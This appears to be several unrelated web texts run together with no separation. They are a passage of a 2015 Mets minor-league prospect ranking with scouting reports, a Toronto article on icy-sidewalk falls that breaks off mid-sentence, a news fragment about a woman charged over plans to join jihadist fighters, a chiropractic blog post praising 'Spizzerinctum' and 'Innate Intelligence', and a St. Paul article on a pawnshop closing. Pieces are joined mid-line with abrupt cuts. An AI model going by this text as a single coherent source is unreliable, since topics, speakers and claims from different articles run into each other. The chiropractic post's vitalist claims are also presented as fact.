The Year Ahead: Nimmo has definitely made strong strides since turning pro, which have been showing more and more on the field. There isn’t anything high-end in the outfielder’s game, but he does plenty well, suggesting this profile can work as a regular for a chunk of seasons. The 21-year-old shows good instincts out in center and works hard at his craft. Sources are mixed, though, as to whether he’s going to stick at the position over the long haul. A slide over to a corner will put more pressure on the development of the stick. Nimmo’s fairly sound with his swing, getting to the ball in an efficient path, and flashes loose hands that enable him to control the head of the bat. The bat speed against higher-end competition will bring about questions and he’ll be tasked with proving he can rise to that challenge. There’s still a good amount of work here to go and Nimmo will need ample time in the high minors, with the initial task of trying to implement adjustments against Double-A arms at the start of next season.
Major league ETA: 2016
4. Amed Rosario
Position: SS
DOB: 11/20/1995
Height/Weight: 6’2” 170 lbs
Bats/Throws: R/R
Drafted/Acquired: International Free Agent, 2012, Dominican Republic
Previous Ranking: #5 (Org)
2014 Stats:.133/.161/.300 at Low-A Savannah (7 games),.289/.337/.380 at Short-Season Brooklyn (68 games)
The Tools: 6 potential hit; 6 potential glove; 5+ potential power; 5+ arm; 5+ run
What Happened in 2014: The 2012 international signee took his talents to the New York-Penn League and flashed solid contact skills despite only being 18 years old.
Strengths: Fluid actions; good athlete; soft hands; strong defensive instincts; quick first step; decisive reads; solid-average to better range; arm to stick on left side of infield; quick, explosive wrists; feel for barreling the ball; loose hands; shows willingness to use the whole field; plus bat speed; room for power growth; body to continue to add strength; mind for the game.
Weaknesses: Overly aggressive hitter; will chase and get himself out; control of zone needs a lot of work; immature pitch recognition; swing can get loose; presently has some maintenance; large gap to reach power projection; loss of foot speed may hinder range; work to go with shoring up technique at short; plays on athleticism presently.
Overall Future Potential: High 6; first-division player/occasional all-star
Realistic Role: 5; major-league regular
Risk Factor/Injury History: High; short-season resume; large gap between present and future.
Bret Sayre’s Fantasy Take: The ETA is what really hurts Rosario in terms of his fantasy value, as his fantasy upside is right there among the non-Syndergaard members of this organization. If you have the patience and the roster spot, he’s a great long-term hold as the tools turn into skills, but in the time it takes to wait on Rosario, you could churn two or three prospects through that one spot.
The Year Ahead: Rosario is a long-lead player in terms of development time, but the tools point towards an impressive potential payout. The 18-year-old more than held his own in the college heavy New York-Penn League, which speaks to his feel for the game and high baseball IQ. There is plenty of refinement needed with Rosario’s game. It starts with toning down his approach at the plate and learning how to develop more of a plan during plate appearances. An assignment in full-season ball is going to challenge him to start adjusting immediately with this aspect of his game. All of the ingredients are here offensively to round into a contact hitter with some pop if the secondary skills continue to come along. There are some thoughts that physical development will slow Rosario down a bit and limit some of his range, but opinions are firm on him sticking at the position up to the highest level. It’s going to take time, but this is a good looking prospect and one that can jump into the upper tier with a good showing this season.
Major league ETA: 2018
5. Kevin Plawecki
Position: C
DOB: 02/26/1991
Height/Weight: 6’2” 225 lbs
Bats/Throws: R/R
Drafted/Acquired: 1st round, 2012 draft, Purdue University (West Lafayette, IN)
Previous Ranking: #8 (Org)
2014 Stats:.283/.345/.421 at Triple-A Las Vegas (43 games),.326/.378/.487 at Double-A Binghamton (58 games)
The Tools: 5+ potential hit; 5 potential power; 5 arm; 5 glove
What Happened in 2014: The catcher proved to be more advanced than Double-A arms, ripping.326, and then held his own after a promotion to Triple-A.
Strengths: Strong, filled-out frame; body to handle the rigors of the position; solid receiver; firm glove; uses body well; fundamentally sound; quicker release helps average arm strength play up; easy swing; quiet; direct to the point of contact; ability to get barrel on the ball; mature approach; gap power, with opportunity to muscle up in spots because of bat control.
Weaknesses: Not much more tool growth left overall; no real leading tool; can be pitched to by high-quality arms; power likely to play down in favor of contact at highest level; defense projects as average; below-average speed; station-to-station runner.
Overall Future Potential: High 5; solid-average regular
Realistic Role: 5; average big-leaguer
Risk Factor/Injury History: Low; 43 games in Triple-A; consistency with bat.
Bret Sayre’s Fantasy Take: The bar is set pretty low for catchers to be fantasy relevant, and with Plawecki’s strong contact rate and potential for 12-15 homers, he has a good chance to be above that bar. However, the value proposition for stashing him in dynasty leagues now is different, given the difficult transition catchers have to make at the major-league level and the presence of Travis d’Arnaud ahead of him.
The Year Ahead: Plawecki proved to be more than up to the challenge posed by Double-A arms and passed a major test in the process. His contact ability combined with a mature approach serve him well at the plate. The 23-year-old is more than willing to grind through plate appearances, with a knack for getting into favorable hitting situations. That’s going to have to continue for the catcher to do enough damage against the unforgiving arms in The Show. There's a chance the bat plateaus during his second tour of duty in the Pacific Coast League, but the offensive profile likely rounds into a hitter who is a tough out in the lower portion of a big-league lineup. Add in Plawecki’s potential for steady defense behind the dish, and this is a solid prospect with the overall game to be a contributing regular for a stretch of seasons.
Major league ETA: 2015
6. Dilson Herrera
Position: 2B
DOB: 03/03/1994
Height/Weight: 5’10” 150 lbs
Bats/Throws: R/R
Drafted/Acquired: International Free Agent, 2010, Colombia
Previous Ranking: NR
2014 Stats:.220/.303/.407 at major-league level (18 games),.340/.406/.560 at Double-A Binghamton (61 games),.307/.355/.410 at High-A St. Lucie (67 games)
The Tools: 5+ potential hit; 5+ potential power; 5+ potential defense; 6 run; 5 arm
What Happened in 2014: Herrera busted out and rode the wave in a big way from High-A all the way to The Show this year, racking up 51 extra-base hits and posting an.858 OPS overall in the minors.
Strengths: Excellent athlete; fast-twitch muscle; plus bat speed; quick wrists, with strong hands for size; gap-to-gap power; drives through the ball; can put a charge into it for over-the-fence pop; quick feet in the field; ranges well at second; strong reactions; flashes defensive instincts for the position; plus runner; ability to impact the game on the bases.
Weaknesses: Aggressive approach; will try to sell out for power; swing loses fluidity in those instances; likes to get the head out in front of the ball; leaves him prone to off-speed stuff; swing on the long side; hit tool can play down as a result; learning how to slow the game down on both sides of the ball; needlessly rushes plays in the field; still raw overall.
Overall Future Potential: 6; first-division player
Realistic Role: 5; average regular
Risk Factor/Injury History: Moderate; reached majors; polishing still needed on both sides of ball.
Bret Sayre’s Fantasy Take: We saw flashes of the fantasy potential here in his cup of coffee in 2014, but the real fun will come when the Mets move on from Daniel Murphy, as there’s currently not a place for him in New York. The specter of a.275 hitting second baseman with double-digit power and speed is very tempting, especially considering the near 100% ownership level of post-peak Ben Zobrist.
The Year Ahead: Herrera came out of relatively nowhere this season, fast-tracking to the highest level and putting himself on the map within the system in the process. The big draws here are the athleticism and plus bat speed, which gives him the chance to do some nice things over the long haul at the plate and in the field. His game is rawer and rougher overall than the season line may indicate though. Herrera is presently a free swinger, who is still finding an identity as a hitter and learning the importance of being selective. Extended time in the upper levels leaves the chance he’ll be exposed some against high-quality secondary stuff, though given his age he has a good chance to come along. A second baseman with the ability to hit in the.280s with pop and better-than-average defense is valuable. Just expect some more lead time and growing pains before reaching that potential outcome.
Major league ETA: Debuted in 2014
7. Marcos Molina
Position: RHP
DOB: 03/08/1995
Height/Weight: 6’3” 188 lbs
Bats/Throws: R/R
Drafted/Acquired: International Free Agent, 2012, Dominican Republic
Previous Ranking: #10 (Org)
2014 Stats: 1.77 ERA (76.1 IP, 46 H, 91 K, 18 BB) at Short-Season Brooklyn
The Tools: 7 potential FB; 6 potential CH; 5 potential CB
What Happened in 2014: Molina took the competition by storm in the New York-Penn League, fanning 91 batters in 76 1/3 innings, while only giving up 46 hits, and cemented himself as a prospect trending forward in the system.
Strengths: Excellent athlete; strong physical projection; repeatable delivery; live arm; potential to routinely work in mid-90s with fastball down the line; late life to pitch; early feel for spotting up; loose wrist action with change; arm-side fade, with some bottoming-out action; flashes of depth to breaking ball; can round into bat-misser with continued tightening up; aggressive approach on mound; not afraid to challenge and come after hitters.
Weaknesses: Command growth needed; loose with fastball in zone; learning importance of throwing secondary stuff for strikes; gives away changeup at times; breaking ball still finding identity; more of a slurve; loopy break at times; presently a thrower; gets away with mistakes; likes to pitch up.
Overall Future Potential: 6; no. 3 starter
Realistic Role: 5; no. 4 starter
Risk Factor/Injury History: High; short-season resume; pitchability/command progress.
Bret Sayre’s Fantasy Take: The numbers are eye-popping, but Molina is extremely unlikely to claim future fantasy ace status. The strikeout numbers will slide back as he moves up unless the breaker takes the necessary step forward, but his fantasy floor is higher than almost any pitcher who has yet to pitch in full-season ball. His trade value could go through the roof calling Savannah home in 2015.
The Year Ahead: Molina will take his talents to full-season baseball, where the quality of stuff will likely continue to play up and carry him to successful outings. The developmental goal here will be to start improving his pitchability, which may be a bit tough in the near term because the 19-year-old can likely live off his high-end stuff and mask mistakes. The athleticism, repeatable delivery, and personality intangibles all point towards Molina having strong growth potential with his command. It just may take some time to manifest. Early progress in his highlighted areas of need will serve as the trigger for pushing him up further. By the end of the season, Molina has the potential to be challenging for a spot towards the front of this system. The future is extremely bright for this right-hander, so sit back and enjoy the ride.
Major league ETA: Late 2017
8. Dominic Smith
Position: 1B
DOB: 06/15/1995
Height/Weight: 6’0” 185 lbs
Bats/Throws: L/L
Drafted/Acquired: 1st round, 2013 draft, Junipero Serra HS (Gardena, CA)
Previous Ranking: #6 (Org)
2014 Stats:.271/.344/.338 at Low-A Savannah (126 games)
The Tools: 6+ potential hit; 5 potential power; 6+ glove; 6+ arm
What Happened in 2014: The former first-round pick made his full-season debut where he flashed contact ability paired with some control of the strike zone, but fell short on power.
Strengths: Innate bat-to-ball ability; shows strong separation with hands; waits back on the ball; feel for controlling the head of the bat; fluid, pretty left-handed swing; willing to use the whole field; brings a plan to the plate; quick feet around the bag at first; soft hands; good athleticism; fundamentally sound at position; excellent arm strength; shows strong overall baseball instincts.
Weaknesses: Questions on ultimate power ceiling; swing is geared more toward line-drive contact; limited present loft; tapping into power may come at the expense of the hit tool; limited to first base defensively; pressure on hit to play to full potential.
Overall Future Potential: 6; first-division player
Realistic Role: 5; average regular
Risk Factor/Injury History: Moderate; yet to achieve upper minors; first base-only profile.
Bret Sayre’s Fantasy Take: Whether the 20-homer power comes or not, Smith is not going to be a fantasy star. But the hit tool can carry a long way, even at a power-laden position—which makes Smith a good bet to be fantasy useful, compared to other teenage prospects.
The Year Ahead: Smith has been a much debated player both internally and externally on what he is exactly going to be in the long-term. There are no questions or disputes on the hit tool. The first baseman has one of those picture-perfect swings with the type of loose hands that leads to the player stinging hard contact to all fields right up through the ranks. But, there are more questions than answers when it comes to his power potential and what that exactly means for the overall profile. There is a lot of pressure on Smith’s hit tool to perform season in and season out if power is going to be a secondary piece of his game. There’s a chance for some productive seasons along the lines of a first-division player, but in the long run the body of work leans more along the lines of an average regular.
Major league ETA: Late 2017
9. Michael Conforto
Position: OF
DOB: 03/01/1993
Height/Weight: 6’1” 211 lbs
Bats/Throws: L/R
Drafted/Acquired: 1st round, 2014 draft, Oregon State University (Corvallis, OR)
Previous Ranking: NA
2014 Stats:.331/.403/.448 at Short-Season Brooklyn (42 games)
The Tools: 6 potential power; 5 potential hit; 5 potential glove
What Happened in 2014: Conforto was drafted tenth overall, and then proceeded to rip in short-season ball after signing, offering clues that he can handle the lower levels fairly quickly.
Strengths: Well filled out; physical player; excellent strength; quiet load; produces a lot of leverage in swing; hits the ball with loft and carry; power plays to all fields; mid-twenties home run potential; mature approach; waits for pitch to drive; comfortable hitting with a strike or two; contact is loud and hard; potential to round into legit threat in lineup.
Weaknesses: Uppercut in swing leads to in-zone misses; can be beat above the thighs with velocity; needs work keeping hands above baseball; maintenance in swing; can fall into mechanical ruts; below-average speed; fringe-average range; limited to left field defensively; bat-first player.
Overall Future Potential: 6; first-division regular
Realistic Role: 5; average regular
Risk Factor/Injury History: High; yet to play in full-season ball; bat-first player.
Bret Sayre’s Fantasy Take: There’s no question that Conforto is a top-5 fantasy prospect in this system, but sits down in the bottom half of the list due to his shortcomings everywhere else. He could be a strong OF3 in time, hitting around.260-ish with 25 homers.
The Year Ahead: Conforto will take his talents to the low minors, where his power should immediately show and ultimately prove to be ahead of the competition in relatively short time. The left-handed hitter is big and strong, with a swing designed for getting max lift and extension. The power is here for the outfielder to project for home run totals into the twenties and to evolve into a consistent threat to go deep. Conforto does sacrifice contact ability with his extremely upward swing path, but also doesn’t get himself out. He’ll likely strikeout with frequency against high-caliber arms, while projecting for more modest averages. The defense is nothing special as well. The range is limited and paired with about an average arm, but as a left fielder it’s passable. The bat is the main draw here, which does put pressure on Conforto to develop to his potential and then perform year in and year out. It’s not a star player here, but as a solid-average regular who hits fifth or sixth in a lineup it can work.
Major league ETA: 2016
10. Jhoan Urena
Position: 3B
DOB: 09/01/1994
Height/Weight: 6’1” 200 lbs
Bats/Throws: B/R
Drafted/Acquired: International Free Agent, 2011, Dominican Republic
Previous Ranking: NA
2014 Stats:.300/.356/.431 at Short-Season Brooklyn (75 games)
The Tools: 5+ potential hit; 5+ potential power; 5 potential glove; 6 arm
What Happened in 2014: The Dominican third baseman more than held his own in the New York-Penn League as a 19-year-old, suggesting the organization has more than meets the eye here.
Strengths: Strong player; improving muscle composition; athletic for size; loose hands; ability to barrel up ball with backspin from both sides of plate; shows hand separation during stride; some present loft in swing; raw power to tap into; gap-to-gap approach; early makings of patience and plan at the plate; picks up offerings out of pitchers’ hand well; arm for left side of infield; soft hands; instincts for third; strong work ethic.
Weaknesses: Fringe-average foot speed; fringy present range at third; a bit on awkward and stiff side; gap to close defensively to stick at position; concerns on how body will progress physically; needs to get more lift out of swing for power to play to full potential; hit tool may play down as a result; swing has some pre-pitch timing; can get into ruts of over-pulling; bat may not be enough to carry move across the diamond.
Overall Future Potential: 6; first-division regular
Realistic Role: High 4; bench player/below-average regular
Risk Factor/Injury History: High risk; short-season resume; questions on profile
Bret Sayre’s Fantasy Take: Where there’s potential in the hit tool and power, fantasy owners will be interested. And when it comes in the package of a player who doesn’t quite have a position they fit well at long term, it creates a value proposition. Urena could hit.280 with 20-plus homers at the major league level, and if that happens, fantasy owners won’t care what eligibility it comes with.
The Year Ahead: The knock on Urena is a body that doesn’t really look the part and offers some concerns on how it is going to progress into his mid-twenties, but when peeling back the onion this is a very intriguing player. The 20-year-old flashes excellent hand-to-eye, along with the ability to consistently barrel up with authority. It’s also a swing that already shows some loft and offers projection that there is power to grow into as the level of strength continues to mature. There’s definite upside to develop into a run-producing bat. Where Urena is ultimately going to play remains to be seen, but for now the infielder has been making progress at the hot corner, with the body firming up a lot since signing with the organization. The work ethic also draws praise from sources who have observed the prospect closely. This a player to keep a close eye on moving forward, and one who will garner more attention this season if he passes some markers in Low-A, mainly proving the approach is as advanced as it appeared. Urena is the definition of sleeper prospect.
Major league ETA: 2018
Prospects on the Rise:
1. RHP Casey Meisner: This highly projectable arm may have a case for being included within the Top 10, but right now he’s still a lot more vision than present, especially with his heater. Meisner is a tall, lanky 6-foot-7 right-hander, but does show surprising body control and the ability to keep balanced, which bodes well for his command profile. The key for the 19-year-old is adding strength to both squeeze out more velocity and enable him to handle the rigors of the professional season better. If he shows some more growth with his stuff this year in full-season ball, he’s firmly planted as a Top 10 guy this time next year.
2. OF Champ Stuart: The former sixth-round pick brings an element of speed to the diamond, along with the potential for solid-average to better defense in center and gap power offensively. Stuart is intriguing given the potential growth in front of his tools and relatively young age for entering the professional ranks after coming out of a Division II college program. Make no mistake here, this is a risky prospect with the potential for the skills to level off quickly, but reports on the 22-year-old indicated solid progress across the board and the work ethic to maximize all his talent. It’s a player than can bring a projection as a potential regular into more focus and challenge for higher status within the system next season.
3. RHP Gabriel Ynoa: This isn’t a flashy profile like some of the arms in front of him, but the 21-year-old right-hander has progressed steadily into the upper minors. Ynoa features a low-90s fastball with some sink, along with a slider and changeup that both flash solid-average potential. The change is presently the better of the two offerings, showing strong arm-side fade at times and the ability to keep opposing hitters off balance. The question is whether this arm will be able to miss enough bats as opposed to running consistently into barrels, but he offers further projection at improving his overall pitchability. This arm can take a jump in status by proving he can effectively churn through lineups and throw better strikes against Double-A competition this season.
Factors on the Farm (Prospects likely to contribute at the ML level in 2015)
1. RHP Rafael Montero: The 24-year-old has achieved the majors, where it’s going to be about demonstrating he’s capable of being consistent. Otherwise, this arm will fall more into the up-and-down category. Montero has solid-average overall stuff, but lacks an offering that he can lean on against the highest level of competition. His game on the mound is about mixing and matching, spotting from side to side, and changing eye levels often. It seemed like he lost some of that mindset during his call-up, but that can also be expected the first time around. The righty will likely get another shot during 2015, where he can show that he can stick in a rotation. The likely role is towards the back of one, but that offers good value when constructing a team.
2. LHP Jack Leathersich: The University of Massachusetts-Lowell product continues to show bat-missing ability, though his results at the highest level of the minors have left some to be desired. The lefty pairs a low-90s fastball with a hard biting curveball to attack hitters with an aggressive pitching style. Leathersich is most likely best suited for getting an out or two towards the later stages of a ballgame before handing the ball over to the back of the pen, but if he can throw the curve for more strikes to take the dependency off his fastball, there’s a chance for a little more.
3. OF Cesar Puello: This prospect offers some loud tools, but they tend to play down because of an overly aggressive approach at the plate. There’s also the issue of his suspension for being linked with the Biogenesis scandal, which casts doubt on the authenticity of his prior performance. Puello has plus raw power, lift in his swing, and the ability to play up the middle, but his hit tool suffers as a result of a crude approach for his age. With some adjustments in Triple-A, the likely outcome over the long-haul can offer a bench bat or contributor over stretches as a regular. It’s not what the tools suggest, but he offers value in the depth department for an organization.
Top 10 Talents 25 And Under (born 4/1/89 or later)
This system takes a big hit due to the graduation of Matt Harvey and Travis d'Arnaud, both of whom just barely missed our cutoff date, but there's still plenty of bona fide talent here, including one proven major-league starter and two proven big-league relievers. It's a strong collection of both minor-league talent and young major leaguers that gives the Mets strong depth. The Mets may not have the best collection of prospects and young players in baseball, but you can make an argument for them having the most balanced farm system in the game.
Wheeler proved this year that he's going to be able to handle staying in a big-league rotation. Noah Syndergaard may have a higher ceiling, but the certainty behind Wheeler gives him the nod on this list. That said, Syndergaard has the potential to lead this rotation (or more likely be a strong number two behind Harvey), while Wheeler does not look like he will become the ace some had once envisioned. Unless he can throw more strikes and work deeper into games, he’s going to pan out as a mid-rotation starter, but not to the level of Syndergaard or Harvey.
The same logic towards ranking these players goes into the decision to place Mejia over Matz. Mejia's days of starting games are over and Matz took a major step forward this season in convincing us they he'll not only be able to remain a starter but will probably be a very good one, but what Mejia showed is that not only is he a major league arm but that he's capable of closing out games.
The same argument can be made for Familia over Nimmo. The latter profiles as an everyday center fielder (in his twenties, then a solid corner outfielder as he ages) and potential leadoff hitter, but he's still just 21 and has only half a season of Double-A (where he struggled) on his resume. His ceiling is higher than Familia's, but a strong season of major-league relief work and the potential to pitch in late innings (he could close, but doesn’t miss bats the way elite closers do) is too much to ignore.
It's not time to give up on Wilmer Flores' bat just yet, with far too strong of a minor-league track record to dismiss him based on his major-league performance in what has become frustratingly inconsistent playing time. The Mets may not be able to find a spot for him in their lineup, but when someone eventually does, he should hit enough to warrant everyday at-bats, especially if he ends up at second base.
The final three spots on this list require some projection, none more so than Rosario, who is just 18 and hasn't reached full-season ball yet. His potential to actually hit puts him on this list, unlike Ruben Tejada, who is still eligible, but after over 1,700 major-league plate appearances, has proven that he can't. Plawecki and Herrera don't require quite as much dreaming, but they're not quite finished products, despite Herrera finishing the year in the big leagues.
The players who just missed this list signal as much about the depth of this organization as anything else. To have players like Rafael Montero and Dominic Smith not make the cut is really an achievement for the Mets player development team. The Mets are set up well for the future as they continue to operate as a small market team despite their major metropolitan location. Much of their success will hinge on the health of the now 26-year-old Harvey, but even without him, the Mets have one of the better collections of young talent. –Jeff Moore
A Parting Thought: This is a deeper system with a little bit of everything: near-ready impact talent up front, potential regulars, and young, developing talent starting to percolate up the lower levels.cityscape How Many People Fall on Snowy and Icy Sidewalks in Toronto? A Lot.
Toronto Public Health released some numbers showing how many people went to the emergency room after falling on sidewalks in the winter.
Toronto’s first major snowfall of the year usually results in collisions on city streets and highways. But icy sidewalks have also been an ongoing problem—and a recent study shows the effects they have on both pedestrians and local hospitals.
According to a report released by Toronto Public Health in October [PDF], between 2006 and 2015, nearly 30,000 people went to the emergency room after falling on ice or snow, and 2,800 were hospitalized.
These slips and falls cost the city about $6.7 million per year in liability claims, and cost the provincial healthcare system almost $4 million annually. Between 2006 and 2015, there were 2,300 claims against the city due to slips and falls on snowy and icy sidewalks.
Dr. David MacKinnon is the deputy chief of the emergency department at St. Michael’s Hospital. During the winter, he sees patients who have broken their ankle or wrist in a fall on a sidewalk that wasn’t cleared or salted properly.
“It might be outside their apartment building, it might outside their workplace,” he says. “It might be just a city sidewalk or street. They can be pretty upset about why it wasn’t cleared properly.”
Even MacKinnon has experienced this. He usually takes the TTC to work, or walks in the PATH system, but one snowy Monday morning, when he walked out of his house and onto the sidewalk, he slid three feet on the ice.
“I had to lunge to catch my balance,” he says. “I didn’t fall, luckily. But I could have easily been one of the victims.”
On Sunday, Dec. 11, MacKinnon worked in the hospital’s ambulatory area—where a lot of patients with ankle and wrist fractures go, and he worked in the “acute” area (non-ambulatory) on Monday, Dec. 12, when most of southern Ontario was hit with about 15 centimetres of snow.
“The first day of the icy sidewalks we tend to get a bit of a rash of fractures because of that,” MacKinnon says. “People fall and they do break their wrists and they break their ankles. They’re people of all ages—it’s young people, it’s old people. It’s not limited to any gender or age range.”
Over a 24-hour period between Sunday and Monday, 17 people were treated for falls, but only one was due to ice, according to St. Michael’s.
MacKinnon says one of the doctors working in the ambulatory area that Monday told him there weren’t as many patients with ankle and wrist injuries due to ice this year as there has been after the first snowfall in years past.
“There may have been one or two other ones,” MacKinnon says. “Sometimes people actually don’t come in for another day or two later. They don’t think their wrist is broken, so they just put up with it and then come in two or three days later.”
In its report, Toronto Public Health made five recommendations. One is to decrease the threshold for sidewalk snow clearing from eight centimetres to two centimetres in areas where mechanical sidewalk clearing—using a plow—is available.
During November and April, the city clears high-traffic pedestrian sidewalks (arterial roads, school zones, and transit areas) after eight centimetres of snowfall. But in the typically snowier months of December, January, February, and March, it clears these sidewalks after two centimetres of snow falls.
However, low-volume pedestrian routes, such as collector roads and local roads, are cleared after eight centimetres has fallen. It can take about 13 hours for high- and low-traffic sidewalks to be cleared after a snowfall, and up to 72 hours, depending on the severity.
Transportation Services has indicated to Toronto Public Health staff that high-traffic areas are its first priority when it comes to snow clearing, says Monica Campbell, director of healthy public policy at Toronto Public Health.
But Campbell says if eight centimetres of snow has already fallen before clearing takes place, walking on the snow compacts it, which makes it more difficult to remove and then it becomes a slippery surface.
“We need a comprehensive approach to keeping our sidewalks clear of snow,” she says. “Whatever the homeowner can do is important because they can get out there and keep the sidewalks clear. But I think it’s also important for the City to have comprehensive ways of removing snow from sidewalks in a timely way so it doesn’t build up and turn into ice.”
A resident must “clear away and completely remove snow and ice from any sidewalk on any highway in front of, alongside or at the rear of the building,” within 12 hours of a snowfall, or else risk a $100 fine (and $25 surcharge), as per the Municipal Code.
Within the city, about 6,000 kilometres of sidewalks, 5,600 kilometres of roads, and 9,500 streets need to be cleared when it snows.
This season, Toronto has budgeted $94 million to clear snow from roads and sidewalks. The city sees about 130 centimetres of snow per year, and the City has about 600 plows, 300 sidewalk tractors, and 200 salt trucks. It uses roughly 130,000 to 150,000 tonnes of salt in a typical winter.
Councillor Stephen Holyday (Ward 3, Etobicoke Centre) is a member of the public works and infrastructure committee. The city’s board of health forwarded its report to the committee in October. Holyday says one of the things the report “implied” was, if the City increased its service level, there may be fewer slip and fall claims.
“You’d be rolling plows all the time,” Holyday says. “If there are claims made to the city because of the service level that we’ve got right now, if we made the service level even more difficult to obtain, one would logically think that would increase the [liability] claims.”
He explains further: “If people make claims to the city today because we were negligent in meeting our current service level, logically if we had a higher service level, then this may open this up to more claims. People don’t make claims because they fell, people make claims because they say the city was negligent in something.”
If the city increases the standards for the maintenance of the sidewalks—for instance, more salt—Holyday says it could bring more concerns from pet owners, as well as negative environmental effects. Every winter, his office receives complaints from pet owners regarding the large amounts of salt poured onto city sidewalks, which can be hard on dogs’ paws.
“If we haven’t salted it, we will get sued,” he says. “They don’t always like that answer.”
Road salt does have an adverse effect on freshwater ecosystems, soil, vegetation, and wildlife, according to a five-year assessment published in a report by Environment Canada in December 2001. In April 2004, the Code of Practice for the Environmental Management of Road Salts was published under the Canadian Environmental Protection Act, 1999. Its objective was to protect the environment and promote road safety through better management.
Public entities that utilize 500 tonnes of road salts every year or more or have “any environmentally vulnerable areas” were required to have salt management plan in place within a year of the official release of the code.
Toronto’s Transportation Services completed a salt management plan [PDF] in 2002. It was put in place to minimize the quantity of salt used on roads by using “best salt handling practices” and new technologies to ensure it’s used as effectively as possible—while still ensuring the safety of motorists and pedestrians.
In 2012, Toronto Public Health found that people living in walkable neighbourhoods in |
, the court papers said, Conley was to obtain additional skills and training to provide support to the insurgents, and to fight herself if deemed necessary.
Authorities say the certified nurse’s aide and convert to Islam underwent training at the U.S. Army Explorers (USAE) in Texas in February.
In an affidavit in support of the criminal complaint, a Special Deputy U.S. Marshal assigned to an FBI Joint Terrorism Taskforce said Conley was interviewed in mid-2013 after being spotted acting oddly outside a church in Arvada, Colorado.
The church was the scene of a mass shooting in 2007, and staff became suspicious, Christian Byrne said in his document.
In a second interview in December 2013, she told FBI agents she joined USAE to be trained in military tactics and firearms, and that she “intended to use that training to go overseas to wage Jihad,” the affidavit said.
“When asked if she still wanted to carry out the plans, knowing they are illegal, Conley said that she does,” it said.
If convicted, Conley faces a maximum sentence of five years in prison, a $250,000 fine, or both.B. J. Palmer was a man of genius. So much so that he was not only responsible for developing and grounding a newly developed healing art founded by his father, D.D. Palmer, against great odds, he was also capable of renewing his own sense of purpose and enthusiasm.
Spizzerinctum is the word he used to describe the enthusiasm, love, and excitement he felt for ChiropracTIC work. B.J.’s use of the term “ChiropracTIC” was another way expressed the same.
It occurred to me today as I left the IRAPS Conference at Sherman College that Spizzerinctum is a renewable energy! My goodness, it’s like the sun! Spizzerinctum is free…all we need to do is bathe in it like we bathe in the sun on a fine summer day.
OK, how do we bathe in Spizzerinctum? Where is the sun? You find it in the Green Books, you find it in the many volumes B.J. wrote. Full and brimming to the top with Spizzerinctum! B.J. excelled in it! He believed in it like he believed in living!
So, how badly do we want to be energized and alive with purpose? All one needs to do is to want it, and it will become available to you. How simple is that? It abounds everywhere because it is Life itself! It is Universal Intelligence, it is Innate Intelligence, it is the Love of Life with a purpose!
This past weekend I found it at Sherman College of ChiropracTIC’s IRAPS Conference. And, I’m sure others did as well. If you missed it, student or doc, come next year and fill yourself to the brim. Fill yourself and then spread the Spizz around! If you want it, it’s yours for the taking.
The profession needs us right now, you and I. The profession requires the Spizz to survive and excel. Consider doing your part and what that may be. Consider paying a chiro friend a visit. Crack open a Green Book and share a little Spizz. It helps to share the Spizz. It makes the Chiropractic world turn a little better. Actually, a whole lot better!
Take action; energize and renew your purpose in ChiropracTIC if you don’t do so on a regular basis. Bask in the golden energy of Spizz. It’s free, renewable and the world needs it now like never before.From the start, some neighborhood advocates questioned the wisdom of having a large pawnshop anchor an empty strip mall.
Could a used-goods store flanked by a payday lender drive economic development on St. Paul’s East Side?
The answer, it seems, is no.
On Feb. 20, Pawn America will close a 15,000-square-foot pawnshop that has served as the sole major tenant of 1855 Suburban Ave. for the past four years. An affiliated Payday America lending and check-cashing operation will close with it.
Building owner Peter Remes, a principal with the Minneapolis real estate firm First & First, said he might take legal action against Burnsville-based Pawn America over the broken lease. The empty strip mall, a former car dealership, will be put up for sale.
“We are exploring any and all options at this point,” Remes said.
Store officials did not return a reporter’s calls, but a public-relations agency speaking on their behalf indicated they blame First & First for not building out the strip mall and installing additional tenants.
“The short story is that the landlord did not deliver on the development of the larger retail area that included the Pawn America store,” said Mike Erlandson, a public affairs consultant who returned an email on behalf of Pawn America. Related Articles Minneapolis implements winter parking restrictions; St. Paul ‘monitoring’ conditions
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The pawnshop was once expected to help draw a series of additional restaurants and small businesses to Suburban Avenue Town Square, a former Chrysler car dealership that had been converted into a potential business center.
Pawn America has 24 retail locations throughout the Midwest, and PayDay America partners with 18 of them.
Plans had called for a Chipotle, Starbucks, Dairy Queen and Goodyear Tire, as well as a free-standing Cowboy Slims restaurant to fill the sizable car dealership lot.
Other than the pawnshop and its associated check-cashing operation, no other tenants ever moved in. As of Feb. 20, the strip mall will be empty.
Which location am I frequenting? pic.twitter.com/clBfxEji0q — FredMelo, Reporter (@FrederickMelo) February 14, 2017
“They made a lot of promises about all the wonderful things they were going to build, and all the people that would be hired in the process, and how they were going to help with litter collection from the restaurants,” said Rich Kramer, who sat on the St. Paul Planning Commission when two different ownership groups received city approvals to install the pawnshop over his objections. “From the beginning, it was in trouble, apparently.”
Kramer, who sits on the Metropolitan Council, recalled members of the neighborhood district council looking to a proposal from the owner of a series of Cash-N-Pawn/Max It Pawn stores — which was later replaced by Pawn America — as an economic driver for the empty car dealership.
Rather than attract business, he maintains the stores blocked growth. No one, apparently, wanted to share close quarters with a pawnshop and check-cashing operation.
“It stymied any legitimate development on those sites for six or seven years,” said Kramer, who repeatedly voted against the project. “By choosing those developers and giving those approvals, it just froze it. I think there’s a lot of blame to go around.”
BIG AND EMPTY
The one-story structure at 1891 Suburban Ave. has an estimated market value of $3 million in Ramsey County’s property records. The building, which spans almost 26,000 square feet, was built in 1974; its current owners bought it for $2.6 million in July 2011.
Betsy Leach, executive director of the District 1 Community Council, said optimism around the time of the sale was high. In 2011, Max It Pawn owner Mark Smith told the Pioneer Press that his pawnshop would be the anchor of a $15 million strip mall project that would do far more than occupy the remodeled Suburban Chrysler dealership. Additional buildings would come quickly, he promised.
He spoke of restaurants, coffee shops, and an eco-friendly auto service that would change car oils in an environmentally friendly manner, maybe a pet salon. It made no sense to wait on piecemeal construction, Smith said at the time. He would fill the sizable site all at once.
“They don’t want me to propose a lot of great things and a lot of smoke, and when the dust settles, there’s (nothing more than) a pawn shop there in the car dealership,” Smith was quoted as saying in an April 2011 article in the Pioneer Press.
That month, the St. Paul Planning Commission voted to support his project, despite its proximity to a check-cashing and money transfer operation called Piggy Bank Checks Cashed, which had been located up the street near White Bear Avenue and a Target Department Store.
City rules required 1,320 feet of separation, and the two sites sat about 1,050 feet apart.
